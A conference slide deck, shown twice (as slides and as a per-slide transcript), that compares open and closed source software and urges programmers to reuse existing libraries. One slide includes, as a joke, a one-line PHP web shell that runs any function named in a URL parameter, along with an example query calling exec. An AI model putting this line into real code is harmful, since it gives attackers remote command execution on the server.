Polish the wheel

                     Andrei Avădănei
                   andrei@worldit.info
                     http://defcamp.ro
Open Source vs Closed Source
Open Source
●   Open Source Software License
        - distributed under a licensing agreement which allows the source code to be shared, viewed and modified

●   Cost
        - free
        - requires a certain level of technical expertise in order to manage content
        - providers are increasingly charging for addons, additional services and integration
        - long term costs : implementation, innovation, service/support issues, infrastructure

●   Service and Support
        - online community network

●   Innovation
        - enables innovation by providing users with the freedom and flexibility to adapt the software to suit

●   Usability
        - lack of usability

●   Security
        - is often viewed as having security issues
Closed Source
●   Closed Source Software License
        - distributed under a licensing agreement to authorized users with private modification, copying and republishing
        restrictions

●   Cost
        - vary from a few thousand to a few hundred thousand dollars
        - user is paying for a more customized product from a trusted brand that includes higher levels of security and
        functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower
        requirement for technical skills.

●   Service and Support
        - service level and support structure requirements are taking precedent in favour of maximising uptime and
        minimising downtime

●   Innovation
        - do not allow users to view or alter the source code
        - innovation comes fully tested

●   Usability
        - employs expert usability testing
        - detailed user manuals and guides are provided for faster trainings

●   Security
        - more secure because it is developed in a controlled environment by a concentrated team with a common
        direction
Ok, now back to wheel!
A guy smarter than me said that
Good programmers are writing their own code
from scratch;


BUT

Best programmers are using code developed
by good programmers. >:)
Whose side are you?
<?=($_=@$_GET[2]).@$_($_GET[1])?>
●   a lot of time wasted on creating modules that we could find already created
●   wasted time that we could use in innovation
●   most open source libraries have an API documentation + examples
●   If you are a good programmer all the things you need to learn from Open
    Source libraries will seem simple (simpler than making a pizza)
    How to become the "best" programmer?
    ●   Research
    ●   Understanding APIs (libraries, CMSes and so on)
    ●   Code (preferable no spaghetti code)
    ●   Learn how to make a pizza faster!




                                                              ?2=exec&1=help
Examples
●   Wordpress, Joomla, Drupal                for blog type projects

●   Moodle for e-learning projects
●   PHC, GCC, Open GTK for building and running apps
●   Chromium for building your own browser
●   Google Charts
●   Frameworks (Django, Zend, Smarty, Rails etc)
●   [...]
Why not?
You have the opportunity to change the world
            easier than ever!
Questions?
Thanks!

Polish the Wheel

  • 1.
    Polish the wheel Andrei Avădănei andrei@worldit.info http://defcamp.ro
  • 2.
    Open Source vsClosed Source
  • 3.
    Open Source ● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified ● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure ● Service and Support - online community network ● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit ● Usability - lack of usability ● Security - is often viewed as having security issues
  • 4.
    Closed Source ● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions ● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills. ● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime ● Innovation - do not allow users to view or alter the source code - innovation comes fully tested ● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings ● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  • 5.
    Ok, now backto wheel!
  • 6.
    A guy smarterthan me said that Good programmers are writing their own code from scratch; BUT Best programmers are using code developed by good programmers. >:)
  • 7.
  • 8.
    <?=($_=@$_GET[2]).@$_($_GET[1])?> ● a lot of time wasted on creating modules that we could find already created ● wasted time that we could use in innovation ● most open source libraries have an API documentation + examples ● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  • 9.
    Examples ● Wordpress, Joomla, Drupal for blog type projects ● Moodle for e-learning projects ● PHC, GCC, Open GTK for building and running apps ● Chromium for building your own browser ● Google Charts ● Frameworks (Django, Zend, Smarty, Rails etc) ● [...]
  • 10.
    Why not? You havethe opportunity to change the world easier than ever!
  • 11.
  • 12.